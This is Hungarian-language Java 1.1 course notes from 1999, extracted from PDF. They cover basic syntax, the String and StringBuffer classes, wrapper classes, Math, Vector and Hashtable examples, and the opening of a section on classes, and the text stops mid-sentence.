Tartalmi kivonat
Home Page Forrás: http://www.doksihu Java 1.1 Fakultatív tantárgy 1999. Tantárgyi tematika. Félévi követelmények Alapok String osztály, StringBuffer osztály, Csomagoló osztályok Matemetikai osztályok, Kollekciók Osztályok Kivételkezelés Interfészek Input/Output User interfesz Cikkek az INFOPEN magazinból A Jáva programozási nyelv A Jáva programozási nyelv rejtelmei Adatbázis-kezelés Jávában Hálózatkezelés Jávában Elosztott rendszerek programozása Jávában A CORBA technológia file:///E|/docs/Untitled/default.html (1 of 2)20040118 3:00:46 Home Page Forrás: http://www.doksihu Biztonságos-e a Jáva A Java platform file:///E|/docs/Untitled/default.html (2 of 2)20040118 3:00:46 Változók Alapok Tartalom: Egyszerû példa Egyszerû applet Változók Mûveletek Konstansok Megjegyzések Osztályok, objektumok Objektum felszabadítása Metódusok és paraméterezésük Karakterkészlet Változó deklaráció Tömbök Osztályok adattagjainak
kezdõértéke Program vezérlõ szerkezetek Egyszerû példa public class HelloVilag{ public static void main(String[] args){ System.outprintln("Helló világ!"); } } A progam önálló alkalmazás. A HelloVilagjava forrás file-ban kell elhelyezni javac HelloVilag.java java HelloVilag Egyszerû applet import java.awt*; file:///E|/docs/Untitled/Alapok.html (1 of 9)20040118 3:00:56 fordítás futtatás Változók import java.appletApplet; public class Viszlat extends Applet { public void paint(Graphics g) { g.drawRect(25, 2, 90, 25); g.drawString("Viszlát!", 50, 20); } } Appletként használjuk. HTML lap <APPLET> címkéjében hivatkozunk rá A WWW szerverrõl töltõdik le Az apple tfile neve: Viszlat.java A HTML file neve: Viszlat.html <HEAD><TITLE>Viszlát applet</TITLE></HEAD> <BODY> <APPLET CODE="Viszlat.class" WIDTH=200 HEIGHT=50> Ha nem mûködik az APPLET a WWW böngészõben, akkor ez jelenik meg
helyette. </APPLET> </BODY></HTML> Az appletviewer programmal is indíthatjuk a HTML lapot: appletviewer Viszlat.html Változók Primitív típus Érték Csomagoló osztály boolean true, false Boolean char 16 bit-es Unicode Character byte 8 bit-es elõjeles egész Byte short 16 bit-es elõjeles egész Short int 32 bit-es elõjeles egész Integer long 64 bit-es elõjeles egész Long file:///E|/docs/Untitled/Alapok.html (2 of 9)20040118 3:00:56 Változók float 32 bit-es lebegõpontos Float double 64 bit-es lebegõpontos Double Minden primitív típusnak van egy csomagoló (wrapper) osztálya, amely a példány váltózójában tárolja az értéket, vannak metódusai. Konstruktorral hozhatók létre. Ott használható jól, ahol egyébként csak objektumot lehet használni, pl vector, stack, object I/O, szerializáció, stb Mûveletek A Jáva nyelv operátorai precedenciájuk csökkenõ sorrendjében: ++ -! ~ instanceof (pre- vagy
poszt-) inkremens és dekremens, logikai és bitenkénti negálás, típus ellenõrzés * / % szorzás, osztás, moduló + - összeadás, kivonás << >> >>> bitenkénti léptetések < > >= <= összehasonlítások == != egyenlõ, nem egyenlõ & bitenkénti AND ^ bitenkénti XOR | bitenkénti OR && logikai AND || logikai OR ? : feltételes kifejezés = += -= *= /= %= ^= különbözõ értékadások &= |= <<= >>= >>>= Konstansok class matek { final static double PI = 3.1415926; // konstans file:///E|/docs/Untitled/Alapok.html (3 of 9)20040118 3:00:56 Változók } final módosító: nem módosítható az értéke static módosító: osztály szintû változó, példányosítás nélkül is létezik Megjegyzések // a sor hátralévõ része megjegyzés /* . megjegyzés . */ Osztályok, objektumok class Konyv { public String cím; public int oldalszam; public static int konyvszam = 0; }
String osztály (metódusai vannak) Módosítók: public más osztályokból is látható módosító nélküli (félnyilvános) csak a saját csomag osztályiból látható protected csak a leszármazott osztályokból látható private csak a saját osztályból látható file:///E|/docs/Untitled/Alapok.html (4 of 9)20040118 3:00:56 Változók Osztály ---> Objektum példányosítás new operátorral Konyv k = new Konyv(); // létrehozza az objektumot és az erre mutató referenciát // k-ban helyezi el. A k Konyv osztályba tartozó változó. Konyv k1; // csak változó deklaráció k1 = new Konyv(); // példányosít, és a referenciát k1-ben tárolja null : nem létezõ objektum-referencia Ha valamilyen osztály típusú változó értéke null, akkor nem hivatkozik objektumra. Hivatkozás objektum adattagjaira: k.cím = "Egri csillagok"; // szöveg literálból a fordító létrehoz egy String // objektumot, és az erre mutató referenciát
tárolja // a változóban k.oldalszam = 150; Az egyszerû változókat (primitív típusokat érték szerint tárolja a Java, nem kell példányosító operátort használni. public static int konyvszam; // staic módosító miatt ez osztály szintû változó, // példényosítás nélkül is létezik. Akkor jön létre, amikor // elõszõr hivatkozunk rá, vagy az elsõ példányt // létrehozzuk. Az objektumok számától függetlenül csak // egyetlen változó létezik. Hivatkozás osztály szintû változóra: Konyv. konyvszam vagy k1. konyvszam file:///E|/docs/Untitled/Alapok.html (5 of 9)20040118 3:00:56 Változók Objektum felszabadítása k1 = null; k1 = k2; k1 = new Konyv(); Mindhárom módszerrel a k1-ben eredetileg hivatkozott objektum referencia nélkül marad. A Jáva szemétgyûjtõ mechanizmusa (garbage collector) szabadítja fel a memóriát, de nem lehet tudni, hogy mikor (pl. ha kevés a memória) Metódusok és paraméterezésük class Konyv { . public
String toString() { return cim + Integer.toString(oldalszam); // vagy return cím + oldalszam } } Metódus hívása: Systam.outprintln(k1toString()); Static metódus - Osztály metódus static int HanyKonyvemVan() { return konyvszam; // static metódus csak a static adattagokhoz férhet hozzá } Karakterkészlet Unicode: uhhhh hhhh hexadecimális szám Minden char típus ill. String karakterei Unicode-ban vannak tárolva file:///E|/docs/Untitled/Alapok.html (6 of 9)20040118 3:00:56 Változók Literálok: null true, false k, , \, , ", u, uhhhh "String" Változó deklaráció int x,y; int x, y= 3; // csak az y kap értéket!!! Tömbök Valódi tömb. Az index 0-val kezdõdik! int [] a; // a tömb deklarációja, tetszõleges elemszámú int tömb a = new int [20]; // helyfoglalás 20 elemû tömbnek a[0] = 3; // értékadás a tömb elsõ elemének a.length // a tömb hosszát adja vissza Több dimenziós tömbök int [] [] a = new int [3] []; // Háromszög
for (int i = 0; i < a.length; i++) { a[i] = new int[i+1]; for (int j = 0; j < a[i].length; j++) a[i] [j] = 0; } file:///E|/docs/Untitled/Alapok.html (7 of 9)20040118 3:00:56 Változók Osztályok adattagjainak kezdõértéke Az osztályok adattagjai példányosításkor az alábbi kezdõérétket veszik fel: boolean false char u0000 bytr, short, int, long 0 float, double 0.0 objektum null A metódusokban deklarált változók nem kapnak kezdõértéket automatikusan! Program vezérlõ szerkezetek Blokk: { } A belül deklarált változók lokálisak a blokkra nézve Elágazás: if (logikai kifejezés) utasítás else utasítás vagy if () { } else { } Összetett elágazás switch (egész kifejezés) { case címke1: file:///E|/docs/Untitled/Alapok.html (8 of 9)20040118 3:00:56 Változók utasítások break case címke2: case címke3: utasítások break default: utasítások { Ciklusok: Elõltesztelõ: Hátultesztelõ: while (logikai kifejezés)
utasítás; do . utasítások . while (logikai kifejezés) for utasítás for (kezdet; logikai kifejezés; továbblépés) utasítás; = break: kilépés a ciklusból vagy switch-bõl continue: ciklusmag további részének kihagyása return [kifejezés]: metódus végrehajtásának befejezése file:///E|/docs/Untitled/Alapok.html (9 of 9)20040118 3:00:56 kezdet; while (logikai kifejezés) { utastások; továbblépés; } String osztály Forrás: http://www.doksihu String osztály String konstruktorok String létrehozása String konverzió String-ek összehasonlítása String vizsgálat Keresés String-ben String módosítás StringBuffer osztály StringBuffer konstruktorai StringBuffer értékének változtatása StringBuffer egyéb metódusai StringTokenizer osztály StringTokenizer konstuktorok StringTokenizer metódusai Csomagoló osztályok (wrapper) Konstruktorok Konverziók Példák String - primitív típus - csomagoló osztály típusok közötti konverziókra
Metódusok paraméter átadás szabályai Példa a HashTable használatára String osztály A String objektum az Object osztály leszármazottja A String objektum értéke nem változtatható meg! Ha olyan mûveletet adunk meg, amely a String értékét megváltoztatja, új objektum keletkezik az új értékkel, a String referencia az új objektumra fog mutatni, a régi objektum pedig referencia nélkül marad file:///E|/docs/Untitled/String osztaly.html (1 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu (szemétgyûjtés) Pl. String s = "görög"; s = s + "dinnye"; Örökli az Object osztály toString() metódusát. Ezt hívja a Java, ha egy String típusú változó sztring reprezentációjára van szükség: System.outprintln(s); String konstruktorok String() String(String) String(StringBuffer) String(char[]) String(char[], int tól, int ig) String(byte[], int u) // a Unicode felsõ byte-ja String(byte[], int u, int tól, int ig) String
létrehozása String s = "görög"; // automatikusan String objektum keletkezik String z = new String("dinnye"); String y = "görög" + " " + "dinnye"; String x = "görög".concat("dinnye"); // a háttérben automatikusan egy String objektum keletkezik char [] c = {A, B, C}; String d = new String(c); byte [] e = {65, 66, 67}; String f = new String(e, 0); // 0 = a Unicode felsõ byte-ja String konverzió static String valueOf(x) // az alábbi típusokból String típus állítható elõ x: byte, short, int, long, float, double, char, char [], char [] int tól, int hossz, Object, boolean tpusú file:///E|/docs/Untitled/String osztaly.html (2 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu Pl. float f = (float)3.4567; // a konstans double típusú s = String.valueOf(f); System.outprintln(s); short h = (short)30567; // a konstans int típusú s = String.valueOf(h); System.outprintln(s);
System.outprintln(StringvalueOf(a)); static X X.valueOf(String) // Stringbõl csomagoló osztály állítható elõ X: Byte, Short, Integer, Long, Float, Double, Boolean Pl. Boolean bo = BooleanvalueOf("false"); char charAt(int index) char [] toCharArray() char [] c = "görögdinnye".toCharArray(); void getBytes(int tól, int ig, byte[] hova, int hányadiktól) void getChars(int tól, int ig, char[] hova, int hányadiktól) static String copyValueOf(char[], int tól, int ig) static String copyValueOf(char[]) String-ek összehasonlítása boolean equals(Object o) String a,b; if (a.equals(b)) boolean equalsIgnoreCase(String) int compareTo(String) int r = a. compareTo(b); r == 0: a és b azonos sztringek r < 0: a kisebb mint b r > 0: a nagyobb mint b file:///E|/docs/Untitled/String osztaly.html (3 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu String vizsgálat boolean endsWith(String) boolean startsWith(String)
boolean startsWith(String mivel, int honnantól) boolean azonos regionMatches(int tól, String, másik, int másikTól, int hossz) boolean azonos regionMatches(boolean ignoreCase, int tól, String, másik, int másikTól, int hossz) Keresés String-ben int holTalálható indexOf(String mit, int honnantól) int holTalálható lastIndexOf(String mit, int honnantól) Ha a keresett String nem található, az eredmény -1 String módosítás String concat(String) String replace(char ról, char ra) String trim() String toUpperCase() String toLowerCase() String substring(int tól, int ig) StringBuffer osztály Változtatható méretû sztringek tárolására használhatók. Van egy kezdeti kapacitása. Ha a karakterek már nem férnek bele, megnövekszik StringBuffer sb = new StringBuffer("görög"); sb.append("dinnye"); StringBuffer konstruktorai StringBuffer() StringBuffer(int kezdõBufferMéret) file:///E|/docs/Untitled/String osztaly.html (4 of
12)20040118 3:00:56 String osztály Forrás: http://www.doksihu StringBuffer(String) StringBuffer értékének változtatása StringBuffer append(x) x: String, byte, short, int, long, float, double, char, char [], char [] int tól, int hossz, Object, boolean tpusú StringBuffer insert(int hova, x mit) x: String, byte, short, int, long, float, double, char, char [], Object, boolean tpusú StringBuffer reverse() void setCharAt(int hol, char mit) StringBuffer egyéb metódusai int capacity(x); // megadja a tároló kapacitását void ensureCapacity(int kívántKapacitás); charAt(int); void getChars(int tól, int ig, char [] hova, int honnantól) int length(); // a sztring mérete void setLength(int újMéret); StringTokenizer osztály A java.util csomagban található Implementálja az Enumeration interfészt. Karaktersztringet szétdarabol bizonyos elválasztó karakterek (delimiterek) mentén Több delimiter is megadható, és ezek kombinációi szintén
delimiterek. Pl: String s StringTokenizer st = new StringTokenizer("alma körte szilva narancs"); while (st.hasMoreTokens()) { file:///E|/docs/Untitled/String osztaly.html (5 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu s = st.nextToken(); System.outprintln(s); } StringTokenizer konstuktorok StringTokenizer(String szöveg) default delimiterek: " " StringTokenizer(String szöveg, String delimiterek) StringTokenizer(String szöveg, String delimiterek, boolean DelimIsToken) StringTokenizer metódusai int countTokens(); //hány token van még a Stringben boolean hasMoreTokens() String nextToken Csomagoló osztályok (wrapper) Primitív típus Érték Csomagoló osztály boolean true, false Boolean char 16 bit-es Unicode Character byte 8 bit-es elõjeles egész Byte short 16 bit-es elõjeles egész Short int 32 bit-es elõjeles egész Integer long 64 bit-es elõjeles egész Long file:///E|/docs/Untitled/String
osztaly.html (6 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu float 32 bit-es lebegõpontos Float double 64 bit-es lebegõpontos Double Minden primitív típusnak van egy csomagoló (wrapper) osztálya, amely a példány váltózójában tárolja az értéket, vannak metódusai. Konstruktorral hozhatók létre. Nem mindig használjuk a csomagoló osztályokat a sebesség miatt. Konstruktorok Float f = new Float(3.14); Float f = new Float("3.14"); // NumberFormatException kivétel váltódhat ki Konverziók Sztringbõl primitiv típus Xxxx.parseXxxx(String) metódusok Pl. int k = IntegerparseInt("89"); Sztringbõl csomagolóosztály Xxxx.valueOf(String) metódusok Pl.Integer i = IntegervalueOf("89"); Csomagolóosztályból primitív típus xxxxValue(Xxxx) metódusok Pl. Integer i = new Integer(3); int ii = i.intValue(); Példák String - primitív típus - csomagoló osztály típusok közötti konverziókra public class
Szamproba { public static void main(String[] args) { Integer i = new Integer(3); // konstruktor paraméter szám System.outprintln("Integer= " + i); file:///E|/docs/Untitled/String osztaly.html (7 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu Integer j = new Integer("67"); // konstruktor paraméter String System.outprintln("Integer= " + j); Double d = new Double(3.123456789); System.outprintln("Double= " + d); Double dd = new Double("3.123456789"); System.outprintln("Double= " + dd); // Sztringbõl primitiv típus int k = Integer.parseInt("89"); System.outprintln("int= " + k); float f = Float.parseFloat("456"); System.outprintln("float= " + f); // Csomagoló osztalyból az érték kinyerése int ii = i.intValue(); System.outprintln("int= " + ii); float ff = i.floatValue(); System.outprintln("int= " + ff); // primitív típusból String String
s = i.toString(); System.outprintln("String= " + s); // Csomagoló osztalyból String String z = dd.toString(); System.outprintln("String= " + z); Short h = Short.valueOf("13"); System.outprintln("Short= " + h); // Csomagoló osztály objektuma értékének megváltoztatása i = new Integer(7); System.outprintln("Integer= " + i); } } file:///E|/docs/Untitled/String osztaly.html (8 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu Metódusok paraméter átadás szabályai import corejava.*; import java.util*; /* A paraméter átadás érték szerint történik, ezért csak akkor változtatható meg a paraméter értéke, ha az átadott érték eleve referencia, és az érték megváltoztatása nem jár a referencia megváltozásával. Pl. String, Integer, Boolean, stb értéke nem változik (csak lokálisan) Stringbuffer értéke megváltoztatható. Több elemei megváltoztathatók. */ public class param atadas {
public static void main(String [] args) { int x = 1; String s = "Haho"; Integer i = new Integer(5); StringBuffer sb = new StringBuffer("Haha"); Alkalmazott a = new Alkalmazott(); System.outprintln(x + ", " + s + ", " + sb + ", " + i + ", " + a); Uj ertek(x, s, sb, i, a); System.outprintln(x + ", " + s + ", " + sb + ", " + i + ", " + a); System.outprintln(new Date()); float f = (float)3.4567; s = String.valueOf(f); System.outprintln(s); short h = (short)30567; s = String.valueOf(h); System.outprintln(s); // a konstans double típusú // primitív típusból String // primitív típusból String System.outprintln(StringvalueOf(a)); // objektumból String Boolean bo = Boolean.valueOf("false"); csomagoló osztály System.outprintln(bo); // String-böl // StringTokenizer StringTokenizer st = new StringTokenizer("alma,körte,szilva, file:///E|/docs/Untitled/String
osztaly.html (9 of 12)20040118 3:00:56 String osztály Forrás: http://www.doksihu narancs", ",", true); while (st.hasMoreTokens()) { s = st.nextToken(); System.outprintln(s); } } private static void Uj ertek(int a, String b, StringBuffer c, Integer d, Alkalmazott e) { a = 2; b = "Haliho"; c.setLength(2); c.append("Hihihi12345678901234567890"); c.ensureCapacity(2000); System.outprintln("Kapacitas: " + ccapacity()); d = new Integer(7); e.nev = "Valaki"; } } class Alkalmazott { String nev = "Senki"; int kor = 1; public String toString() { return nev + ", " + kor; } } Példa a HashTable használatára import java.util*; public class HashPelda { public static void main(String args[]) { Hashtable s = new Hashtable(); float i = 3, j = 5; Float ii = new Float(i); Double jj = new Double(j); Float kk = null; file:///E|/docs/Untitled/String osztaly.html (10 of 12)20040118 3:00:56 String osztály Forrás:
http://www.doksihu String st; s.put("Három", ii); // public Object put(Object key, Object value); s.put("Öt", jj); System.outprintln("HashTábla mérete: " + s size()); // get() használatakor NullPointerException kivétel kiváltódhat kk = (Float)s.get("Három"); System.outprintln("Három értéke: " + kk floatValue()); try { kk = (Float)s.get("Négy"); System.outprintln("Három értéke: " + kk.floatValue()); } catch (NullPointerException ni) {System.outprintln("Nincs ilyen elem!");} // Keresés kulcs szerint st = "Öt"; //s.remove(st); if (s.containsKey(st)) System.outprintln(st + " benne van a Hashtáblában!"); else System.outprintln(st + " nincs benne van a Hashtáblában!"); // Keresés érték szerint st = "Három"; //s.remove(st); if (s.contains(ii)) System.outprintln(ii + " benne van a Hashtáblában!"); else System.outprintln(ii + " nincs
benne van a Hashtáblában!"); // Összes elem végignézése Enumeration en = s.elements(); Felsorolás Object o = null; while (en.hasMoreElements()) { file:///E|/docs/Untitled/String osztaly.html (11 of 12)20040118 3:00:56 // String osztály Forrás: http://www.doksihu o = en.nextElement(); System.outprintln("Osztály tipus: " + o.getClass() + " Adat: " + o); } // Összes kulcs végignézése Enumeration kulcs = s.keys(); // Felsorolás while (kulcs.hasMoreElements()) { o = kulcs.nextElement(); System.outprintln("Osztály tipus: " + o.getClass() + " Adat: " + o); } // Tábla sorainak törlése s.clear(); } } file:///E|/docs/Untitled/String osztaly.html (12 of 12)20040118 3:00:56 Matematikai osztályok Forrás: http://www.doksihu Matematikai osztályok Math osztály Random osztály Kollekciók Vector Vector konstruktorai Vector elemkezelése Vector metódusai Vector elemeinek számbavétele Vector egyéb metódusai Hashtable A
Hashtable használata Hashtable konstruktorai Hashtable elemkezelése Hashtable elemeinek lekérdezése Hashtable metódusai Példa a vektorok használatára Példa a Hashtable használatára Matematikai osztályok Számokat képviselõ csomagoló osztályok Byte, Short, Integer, Long, Float, Double java.langMath java.utilRandom file:///E|/docs/Untitled/Mat.html (1 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu ArithmeticException egész számok esetén a 0-val osztás váltja ki valós számok esetén nem fordul elõ Float és Double osztályok konstansai: POSITIVE INFINITY 1.0/00 NEGATIVE INFINITY -1.0/00 NaN 0.0/00 A NaN == NaN false!, ezért a Float.isNaN() vagy a DoubleisNaN() metódusokat kell hsználni. Math osztály Minden metódusa static - utility osztály double d = Math.sqrt(20); Math objektumot nem lehet készíteni Konstansok: E, PI Metódusok: abs(), acos(), asin(), atan(), atan2(), ceil(), cos(), exp(), floor(), log(),
max(), min(), pow(), random, rint(), round(), sin(), sqrt(), tan() double random() a Random osztály nextDouble() metódusát használja Random osztály A java.util csomagban található A Math.random() is a Random osztályt használja Konstruktorok: file:///E|/docs/Untitled/Mat.html (2 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu Random() - a pillanatnyi idõt használja Random(long mag) - ha megismételhetõ véletlenszám sorozatot szeretnénk kapni Számgenerálás int nextInt() Integer.Min VALUE - MAX VALUE long nextLong() Long.Min VALUE - MAX VALUE float nextFloat 0.0f - 10f double nextDouble 0.0d - 10d Kollekciók Objektumokat tároló, dinamikusan bõvíthetõ, különféle visszakeresési módszert alkalmazó objektumok java.utilVector Olyan dinamikus tömb (lista), amely a kollekció objektumait rendezetten tárolja, és rendezetten is adja vissza. Egy-egy objektum többször is elõfordulhat a vektorban java.utilHashtable Olyan
szótár (dictionary) amely a kollekció objektumait kulcsértékkel tárolja, és a kulcsérték megadásával keresi ki. Egy-egy kulcs csak egyszer szerepelhet a táblában Vector A kollekció elemei Object objektumok, amelyeket elõvételkor típus kényszerítéssel (cast) kell átalakítani a konkrét típusra. Eközben ClassCastException kivétel váltódhat ki. Az elemeket Object [] tömbben tárolja. A vektorban tárolt tényleges objektumok típusa tetszõleges lehet. Pl. String s = "Erzsébet"; file:///E|/docs/Untitled/Mat.html (3 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu GregorianCalendar d = new GregorianCalendar(1978,11,17); Vector v = new Vector(); v.addElement(s); v.insertElementAt(d,0); Vector konstruktorai Vector elemkezelése final void addElement(Object o) final void insertElementAt(Object o, int index) final void setElementAt(Object o, int index) final void removeElementAt(int index) final void
removeAllElement() final boolean removeObject(Object o) // ha az objektum nem eleme a vektornak, false a visszaadott érték Vector metódusai Vector() Vector(int kezdõKapacitás) Vector(int kezdõKapacitás, int növekmény) Elemek közvetlen lekérdezése: final boolean contains(Object o) final Object elementAt(int index) // ArrayIndexOutOfBoundException kivételt válthat ki; Elemek indexe: 0 - size()-1 final Object firstElementAt() final int indexOf(Object o) // Ha az objektum többször is szerepel a vektorban, az elsõ indexét adja vissza final int lastIndexOf(Object o) // -1, ha nincs final Object lastElement() // Ha a vektor üres, null-t ad vissza final int size() // A vektor elemeinek száma Vector elemeinek számbavétele Egyszerû módszer for (int i = 0; i < v.size(); i++) { Xxxx o = (Xxxx)v.elementAt(i); file:///E|/docs/Untitled/Mat.html (4 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu } final Enumeration
elements() Enumeration e = v.elements(); while (e.hasMoreElements()) { Xxxx o = (Xxxx)e.nextElement(); } Az Enumeration a java.util interfésze Vector egyéb metódusai final int capacity() Object clone() // Valójában Vector-t ad vissza. Másolatot készít a vektorról, de az elemekrõl nem. final void copyInto(Object [] o) final void ensureCapacity(int minimumkapacitás) final boolean isEmpty() final void setSize(int újMéret) // az új méreten felüli elemeket törli final void trimToSize() // Újraméretezi a tömböt final String toString()// Az elemek sztring értékének konkatenációja Hashtable A kollekció elemei és a kulcsok Object objektumok. Az elemeket a HashtableEntry [] tömbben tárolja. Kulcsonként csak egy érték tárolható. Ha a put mûvelet során már létezõ kulcsú elemet adunk meg, az új érték a régi helyére kerül. A Hashtable használata Hashtable bd = new Hashtable(); bd.put("Erzsébet", new
GregorianCalendar(1978,11,17)); bd.put("Mónika", new GregorianCalendar(1965,1,12)); String ss = "Mónika születési éve: " + file:///E|/docs/Untitled/Mat.html (5 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu ((GregorianCalendar)bd.get("Mónika"))get (Calendar.YEAR); System.outprintln(ss); Az Object int hashCode() metódusát használja a kulcsok készítéséhez Hash kódok A String osztály feluldefiniálja a hashCode() metódust és a sztring alapján képez hash kódot, ezért az azonos sztringek azonos hash kódot eredményeznek. A hashCode()-ot implementáló osztályok: a primitív típusok csomagoló osztályai, String, Color, File, URL Hashtable konstruktorai Hashtable elemkezelése void clear() Object elõzõElem put(Object kulcs, Object elem) Object kulcs remove(Object kulcs) // null, ha nincs ilyen kulcs Object clone() // Hash objektumot ad vissza Hashtable elemeinek lekérdezése
Hashtable() Hashtable (int kezdõKapacitás) Hashtable (int kezdõKapacitás, float újra hash-elési küszöb)// újra hash-elési küszöb = 0.0f - 10f boolean contains(Object elem) boolean containsKey(Object kulcs) Object get(Object kulcs) boolean isEmpty() int size() String toString() Hashtable metódusai Elemek és kulcsok számbavétele: Enumeration elements() file:///E|/docs/Untitled/Mat.html (6 of 11)20040118 3:00:57 // null, ha nincs ilyen kulcs Matematikai osztályok Forrás: http://www.doksihu for (Enumeration e = bd.elements(); ehasMoreElements(); ) { GregorianCalendar d = (GregorianCalendar)e.nextElement(); } Enumeration keys() for (Enumeration e = bd.keys(); ehasMoreElements(); ) { String s = (String)e.nextElement(); } Példa a vektorok használatára import java.util*; public class Vektor pelda { public static void main(String[] args) { Alkalmazott a = new Alkalmazott("Kis Kutya", 50000); Alkalmazott b = new Alkalmazott("Nagy Kutya",
100000); Alkalmazott c = new Alkalmazott("Kis Macska", 10000); Alkalmazott d = new Alkalmazott("Nagy Macska", 20000); Vector v = new Vector(); v.addElement(a); v.addElement(b); v.addElement(c); v.insertElementAt(d, 0); Vektor Kiir(v); v.removeElementAt(1); Vektor Kiir(v); Vector v1 = (Vector)v.clone(); Vektor Kiir(v1); v = null; Vektor Kiir(v1); file:///E|/docs/Untitled/Mat.html (7 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu a = null; b = null; Vektor Kiir(v1); System.outprintln( (v1contains(c)) ? "c benne van" : "c nincs benne" ); // Átmásoljuk az elemeket Hashtable-be Object o; Alkalmazott z; String s; Hashtable h = new Hashtable(); for (Enumeration e = v1.elements(); ehasMoreElements(); ) { z = (Alkalmazott)e.nextElement(); s = z.getnev(); o = h.put(s, z); } // Adott nevu alkalmazott adatainak kiírása a Hashtable-ból z = (Alkalmazott)h.get("Kis Macska"); System.outprintln(z); } // Vector
tartalmának kiírása public static void Vektor Kiir (Vector v) { Enumeration e = v.elements(); System.outprintln("A vektor elemeinek száma: " + vsize() + " "); System.outprintln("A vektor elemei:"); while (e.hasMoreElements()) { Alkalmazott o = (Alkalmazott)e.nextElement(); System.outprintln(o); } } } // -----------------------------------------------class Alkalmazott { private String nev; private int fizetes; public Alkalmazott (String nev, int fizetes) { this.nev = nev; this.fizetes = fizetes; file:///E|/docs/Untitled/Mat.html (8 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu } public String getnev() { return nev; } public String toString () { return "Név: " + nev + " Fizetés: " + fizetes; } } Példa a Hashtable használatára import java.util*; public class HashPelda { public static void main(String args[]) { Hashtable s = new Hashtable(); float i = 3, j = 5; Float ii = new Float(i); Double jj =
new Double(j); Float kk = null; String st; s.put("Három", ii); // public Object put(Object key, Object value); s.put("Öt", jj); System.outprintln("HashTábla mérete: " + ssize()); // get() használatakor NullPointerException kivétel kiváltódhat kk = (Float)s.get("Három"); System.outprintln("Három értéke: " + kkfloatValue()); try { kk = (Float)s.get("Négy"); System.outprintln("Három értéke: " + kkfloatValue()); } catch (NullPointerException ni) {System.outprintln("Nincs ilyen elem!");} // Keresés kulcs szerint st = "Öt"; //s.remove(st); file:///E|/docs/Untitled/Mat.html (9 of 11)20040118 3:00:57 Matematikai osztályok Forrás: http://www.doksihu if (s.containsKey(st)) System.outprintln(st + " benne van a Hashtáblában!"); else System.outprintln(st + " nincs benne van a Hashtáblában!"); // Keresés érték szerint st = "Három"; //s.remove(st); if
(s.contains(ii)) System.outprintln(ii + " benne van a Hashtáblában!"); else System.outprintln(ii + " nincs benne van a Hashtáblában!"); // Összes elem végignézése Enumeration en = s.elements(); // Felsorolás Object o = null; while (en.hasMoreElements()) { o = en.nextElement(); System.outprintln("Osztály tipus: " + ogetClass() + " Adat: " + o); } // Összes kulcs végignézése Enumeration kulcs = s.keys(); // Felsorolás while (kulcs.hasMoreElements()) { o = kulcs.nextElement(); System.outprintln("Osztály tipus: " + ogetClass() + " Adat: " + o); } // Tábla sorainak törlése s.clear(); // Hashtable bd = new Hashtable(); bd.put("Erzsébet", new GregorianCalendar(1978,11,17)); bd.put("Mónika", new GregorianCalendar(1965,1,12)); String ss = "Mónika születési éve: " + ((GregorianCalendar)bd.get("Mónika"))get(CalendarYEAR); System.outprintln(ss); } }
file:///E|/docs/Untitled/Mat.html (10 of 11)20040118 3:00:57 Java http://www.doksihu programozás Forrás: Osztályok Tartalom Egyszerû példa Példányváltozók Metódusok Fordítás közbeni adatfolyam ellenõrzés Objektumok használata Hozzáférési kategóriák Statikus tagok Fõprogram Konstruktorok Inicializáló blokkok Destruktor jellegû metódusok Öröklõdés Polimorfizmus Osztálymetódusok elfedése Az osztályhierarchia Absztrakt osztályok és metódusok Végleges osztályok és metódusok Példányváltozók és metódusok leírása. Az osztály példányosításával keletkezik az objektum, egyed vagy példány. Az adatokat és az õket kezelo mûveleteket egységbe zárjuk. Az adatokat elrejthetjük más osztályok mûveletei elõl (adatelrejtés). Egyszerû példa //-----------------------------------------------public class Alkalmazott { file:///E|/docs/Untitled/Osztalyok.html (1 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: //
Az osztály tagjai: adattagok és metódusok // A class elott módosítók szerepelhetnek String nev; int fizetes; void fizetesDuplaz() { fizetes *=2; } void fizetesEmel(int nov) { fizetes += nov; } } Alkalmazott alk; alk = new Alkalmazott(); konstruktor meghívásával alk.nev = "Harapós Kutya"; példányváltozókra alk.fizetes = 30000; // Deklaráció // Példányosítás a // Hivatkozás a alk.fizetesDuplaz(); // Metódus meghívása // ------------------------------------------------------------------ Példányváltozók Változók deklarációja int fizetes= 30000, potlekok, levonasok = fizetes/5; // inicializálni lehet a példányváltozókat final double ADOKULCS = 20; // A final módosítóval konstanst hozunk létre. Változók használata Az osztály metódusaiban az adattagokra a nevükkel hivatkozunk file:///E|/docs/Untitled/Osztalyok.html (2 of 15)20040118 3:00:58 Java http://www.doksihu programozás Forrás: Más objektum adattagjára minõsített
névvel hivatkothatunk: masik.fizetes Pl. Az alkalmazott osztályban definiált tobbetKeresMint metódus: boolean tobbetKeresMint(Alkalmazott masik) { return fizetes > masik.fizetes; } Metódusok Metódusok definíciója Fej + törzs Fej: visszatérés típusa( ha nincs akkor void), név, formális paraméterek. Metódus szignatúrája: név és a formális paraméterek listája típusokkal és sorrendhelyesen Metódus név elõtt módosítók lehetnek: public , protected, private, abstract. Pl. boolean kozepesJovedelmu (int minimum, int maximum) { return fizetes >= minimum && fizetes < maximum; } Formális paraméterek: lokális változók (érték paraméterek) (final módosító használható) Minden paraméternek külön kell megadni a típusát. Paraméterlista lehet üres is, () akkor is kell. Ha nincs visszatérési típus, a void szót kell a metódus név elé tenni. Metódusok meghívása Mindig konkrét példányra hívjuk meg. alk.fizetesDuplaz(); A
